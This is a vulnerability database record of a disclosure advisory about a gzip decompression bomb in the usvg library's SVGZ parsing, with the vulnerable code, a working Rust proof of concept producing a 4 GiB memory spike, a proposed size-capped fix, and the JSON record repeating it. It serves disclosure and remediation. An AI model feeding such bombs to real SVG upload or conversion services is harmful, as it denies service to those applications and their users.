GCVE-1988-2026-0439

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
usvg SVGZ decompression bomb in `Tree::from_data`
Summary
# usvg SVGZ decompression bomb in `Tree::from_data` **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-18 **Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata **Contact:** https://fereidani.com/contact ## Description `Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic bytes at the start of the input and decompresses the data before parsing it: ```rust // crates/usvg/src/parser/mod.rs:109 let data = decompress_svgz(data)?; let text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?; Self::from_str(text, opt) ``` ```rust // crates/usvg/src/parser/mod.rs:180 pub fn decompress_svgz(data: &[u8]) -> Result<Vec<u8>, Error> { use std::io::Read; let mut decoder = flate2::read::GzDecoder::new(data); let mut decoded = Vec::with_capacity(data.len() * 2); decoder .read_to_end(&mut decoded) .map_err(|_| Error::MalformedGZip)?; Ok(decoded) } ``` `read_to_end` grows `decoded` with no cap on the output size, and the whole buffer is materialized before `from_str` reads the first byte. The attacker fully controls the expansion ratio, since gzip reaches roughly 1000:1, so the size of the input places no bound on the size of the allocation. A payload of a few hundred kilobytes can request several gigabytes of memory, and the parse error only fires after the entire bomb is already in memory. ## Proof of concept Create a new project with `flate2` and `usvg`: ```toml [dependencies] flate2 = "1" usvg = "0.48" ``` Build a gzip bomb of the desired size and hand it to `Tree::from_data`: ```rust use flate2::write::GzEncoder; use flate2::Compression; use std::io::Write; fn main() { let mib: usize = std::env::args() .nth(1) .and_then(|s| s.parse().ok()) .unwrap_or(256); let mut enc = GzEncoder::new(Vec::new(), Compression::best()); let chunk = [0u8; 65536]; for _ in 0..(mib << 20) / 65536 { enc.write_all(&chunk).unwrap(); } let bomb = enc.finish().unwrap(); println!("svgz input {} bytes, expands to {mib} MiB", bomb.len()); match usvg::Tree::from_data(&bomb, &usvg::Options::default()) { Ok(_) => println!("parsed"), Err(e) => println!("parse error after full decompression: {e:?}"), } } ``` Run with `cargo run --release 4096`. Observed output: ```text svgz input 4171638 bytes, expands to 4096 MiB parse error after full decompression: ParsingFailed(UnknownToken(TextPos { row: 1, col: 1 })) ``` Peak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The decompression happens before any validation, so the bytes do not even need to be a valid SVG. ## Impact Decompression bomb causing memory exhaustion and an OOM kill, denying service to any application that passes attacker-controlled SVG bytes to `usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG upload or conversion endpoints that use usvg are typically reachable before authentication. ## Solution Bound the decompressed output inside `decompress_svgz` instead of trusting the compressed input. Read through `io::Take` with a limit one byte above the cap, so a stream that reaches the limit can be rejected instead of silently truncated: ```rust const MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024; let mut decoder = flate2::read::GzDecoder::new(data); let mut decoded = Vec::with_capacity(data.len() * 2); decoder .take(MAX_SVGZ_SIZE + 1) .read_to_end(&mut decoded) .map_err(|_| Error::MalformedGZip)?; if decoded.len() as u64 > MAX_SVGZ_SIZE { return Err(Error::MalformedGZip); } ``` Comparable libraries bound the decompressed or parsed output inside the library itself: - Node.js `zlib` caps one-shot decompression output via the `maxOutputLength` option (added in v12.19.0 and v14.5.0). - Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default 89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises `DecompressionBombWarning` / `DecompressionBombError` beyond it. - libpng applies default dimension limits of 1,000,000 x 1,000,000 plus `png_set_chunk_malloc_max` for bounded allocation. - librsvg documents no built-in memory or CPU limits and pushes bounding to the caller, but still caps parsed XML elements at 1 million. usvg applies neither an output-size cap nor an element cap. Until a fix lands, applications can disable the `svgz` feature and decompress uploaded files themselves with a bounded reader, calling `Tree::from_str` on the verified plain SVG text. ## Timeline - 2026-08-25: Vulnerability reported privately to the maintainer. - 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the current main branch are still affected. ## References - [linebender/resvg - crates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs) - [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html) - [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html) - [CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)](https://cwe.mitre.org/data/definitions/409.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version CPE status
unknown usvg SVGZ decompression Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "usvg SVGZ decompression",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# usvg SVGZ decompression bomb in `Tree::from_data`\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-18\n**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata\n**Contact:** https://fereidani.com/contact\n\n## Description\n\n`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic\nbytes at the start of the input and decompresses the data before parsing it:\n\n```rust\n// crates/usvg/src/parser/mod.rs:109\nlet data = decompress_svgz(data)?;\nlet text = std::str::from_utf8(\u0026data).map_err(|_| Error::NotAnUtf8Str)?;\nSelf::from_str(text, opt)\n```\n\n```rust\n// crates/usvg/src/parser/mod.rs:180\npub fn decompress_svgz(data: \u0026[u8]) -\u003e Result\u003cVec\u003cu8\u003e, Error\u003e {\n    use std::io::Read;\n\n    let mut decoder = flate2::read::GzDecoder::new(data);\n    let mut decoded = Vec::with_capacity(data.len() * 2);\n    decoder\n        .read_to_end(\u0026mut decoded)\n        .map_err(|_| Error::MalformedGZip)?;\n    Ok(decoded)\n}\n```\n\n`read_to_end` grows `decoded` with no cap on the output size, and the whole\nbuffer is materialized before `from_str` reads the first byte. The attacker\nfully controls the expansion ratio, since gzip reaches roughly 1000:1, so the\nsize of the input places no bound on the size of the allocation. A payload of\na few hundred kilobytes can request several gigabytes of memory, and the parse\nerror only fires after the entire bomb is already in memory.\n\n## Proof of concept\n\nCreate a new project with `flate2` and `usvg`:\n\n```toml\n[dependencies]\nflate2 = \"1\"\nusvg = \"0.48\"\n```\n\nBuild a gzip bomb of the desired size and hand it to `Tree::from_data`:\n\n```rust\nuse flate2::write::GzEncoder;\nuse flate2::Compression;\nuse std::io::Write;\n\nfn main() {\n    let mib: usize = std::env::args()\n        .nth(1)\n        .and_then(|s| s.parse().ok())\n        .unwrap_or(256);\n    let mut enc = GzEncoder::new(Vec::new(), Compression::best());\n    let chunk = [0u8; 65536];\n    for _ in 0..(mib \u003c\u003c 20) / 65536 {\n        enc.write_all(\u0026chunk).unwrap();\n    }\n    let bomb = enc.finish().unwrap();\n    println!(\"svgz input {} bytes, expands to {mib} MiB\", bomb.len());\n    match usvg::Tree::from_data(\u0026bomb, \u0026usvg::Options::default()) {\n        Ok(_) =\u003e println!(\"parsed\"),\n        Err(e) =\u003e println!(\"parse error after full decompression: {e:?}\"),\n    }\n}\n```\n\nRun with `cargo run --release 4096`. Observed output:\n\n```text\nsvgz input 4171638 bytes, expands to 4096 MiB\nparse error after full decompression:\nParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))\n```\n\nPeak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The\ndecompression happens before any validation, so the bytes do not even need to\nbe a valid SVG.\n\n## Impact\n\nDecompression bomb causing memory exhaustion and an OOM kill, denying service\nto any application that passes attacker-controlled SVG bytes to\n`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG\nupload or conversion endpoints that use usvg are typically reachable before\nauthentication.\n\n## Solution\n\nBound the decompressed output inside `decompress_svgz` instead of trusting the\ncompressed input. Read through `io::Take` with a limit one byte above the\ncap, so a stream that reaches the limit can be rejected instead of silently\ntruncated:\n\n```rust\nconst MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;\n\nlet mut decoder = flate2::read::GzDecoder::new(data);\nlet mut decoded = Vec::with_capacity(data.len() * 2);\ndecoder\n    .take(MAX_SVGZ_SIZE + 1)\n    .read_to_end(\u0026mut decoded)\n    .map_err(|_| Error::MalformedGZip)?;\nif decoded.len() as u64 \u003e MAX_SVGZ_SIZE {\n    return Err(Error::MalformedGZip);\n}\n```\n\nComparable libraries bound the decompressed or parsed output inside the\nlibrary itself:\n\n- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`\n  option (added in v12.19.0 and v14.5.0).\n- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default\n  89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises\n  `DecompressionBombWarning` / `DecompressionBombError` beyond it.\n- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus\n  `png_set_chunk_malloc_max` for bounded allocation.\n- librsvg documents no built-in memory or CPU limits and pushes bounding to\n  the caller, but still caps parsed XML elements at 1 million. usvg applies\n  neither an output-size cap nor an element cap.\n\nUntil a fix lands, applications can disable the `svgz` feature and decompress\nuploaded files themselves with a bounded reader, calling `Tree::from_str` on\nthe verified plain SVG text.\n\n## Timeline\n\n- 2026-08-25: Vulnerability reported privately to the maintainer.\n- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the\n  current main branch are still affected.\n\n## References\n\n- [linebender/resvg -\ncrates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)\n- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)\n- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)\n- [CWE-409: Improper Handling of Highly Compressed Data (Data\nAmplification)](https://cwe.mitre.org/data/definitions/409.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "CWE-409",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:34Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/73"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/409.html"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata"
        },
        {
          "url": "https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nodejs.org/api/zlib.html"
        },
        {
          "url": "https://pillow.readthedocs.io/en/stable/reference/ImageFile.html"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/73"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "usvg SVGZ decompression bomb in `Tree::from_data`",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0439",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73",
            "automated": true,
            "contentSha256": "bc3fffb52ec3a509c1ebe187ebeae6c0aff0f3beeefa42a5f6ed06d814f1027c",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/73",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T22:03:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:34Z",
    "dateUpdated": "2026-10-02T04:57:34Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0439"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…